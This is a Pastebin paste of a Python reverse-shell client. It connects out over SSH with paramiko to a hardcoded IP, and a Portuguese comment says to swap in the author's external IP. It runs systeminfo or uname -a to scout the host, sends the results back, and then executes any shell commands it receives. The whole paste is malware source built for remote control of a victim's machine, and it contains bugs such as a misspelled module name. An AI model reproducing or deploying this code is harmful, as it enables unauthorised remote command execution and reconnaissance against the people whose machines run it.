Advertisement
Guest User

Rablidad

a guest
Feb 9th, 2019
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.21 KB | None | 0 0
  1.  
  2. #######################
  3. # Autor: Rablidad
  4. # Reverse-shell client with ssh, for encrypted connection with sys recon
  5. #
  6. # Encrypted with SSH, Reverse Shell Client
  7. #######################
  8.  
  9. import subprocess
  10. import paramiko
  11. import sys
  12. import os
  13.  
  14. # sys.platform in linux returns 'linux', but if u are on windows, it returns win32
  15.  
  16. ## usar wifi da taynara, logo, o IP externo dela.
  17. ip='192.168.1.31' ## mudar para meu ip externo
  18.  
  19. def main(ip, username, password):
  20.     cliente = paramiko.SSHClient()
  21.     cliente.load_system_host_keys()
  22.     cliente.set_missing_host_key_policy(parmiko.AutoAddPolicy())
  23.     cliente.connect(hostname=ip,username = username, password = password)
  24.     try:
  25.         channel_connect = cliente.get_transport().open_session()
  26.         if(channel_connect.active):
  27.             ## reconhecimento da plataforma
  28.             ##############################################################
  29.             if(sys.platform == "win32" or sys.platform == "cygwin"):              
  30.                 ## envia para dizer ao server se é linux ou win apenas
  31.                 channel_connect.send("win32")
  32.                 #################################
  33.                 with subprocess.Popen("systeminfo", shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) as source:
  34.                     read = source.stdout.read().decode('utf-8').split('\n')
  35.                     tpl_info = []
  36.                     for i in read:
  37.                         tpl_info.append(i)
  38.                         if("hotf" in i or "Hotf" in i):
  39.                             break
  40.                        
  41.                     channel_connect.send(tpl_info)
  42.                            
  43.                    
  44.             elif(sys.platform == 'linux'):
  45.                 ## envia para dizer ao server se é linux ou win apenas
  46.                 channel_connect.send('linux')
  47.                 ################################
  48.                 with subprocess.Popen("uname -a", shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) as source:
  49.                     read = source.stdout.read().decode('utf-8')
  50.                     channel_connect.send(read)
  51.             else:
  52.                 pass
  53.             ###############################################################
  54.  
  55.             ## COMEÇO DO CONTROLE DO SHELL
  56.             while True:
  57.                 try:
  58.                     cmd = channel_connect.recv(1024)
  59.                     if(cmd == 'exit'):
  60.                         channel_connect.close()
  61.                         cliente.close()
  62.                         sys.exit(0)
  63.                     elif(cmd != 'exit'):                    
  64.                         if(cmd[:2] == 'cd'):
  65.                                 os.chdir(cmd[3:])
  66.                                 channel_connect.send(os.getcwd() + '>')
  67.                         else:
  68.                             executed = subprocess.Popen(cmd ,shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
  69.                             channel_connect.send(executed)
  70.                 except:
  71.                                         pass
  72.     except Exception as err:
  73.         print("Failed: %s" %(str(err)))
  74.         sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement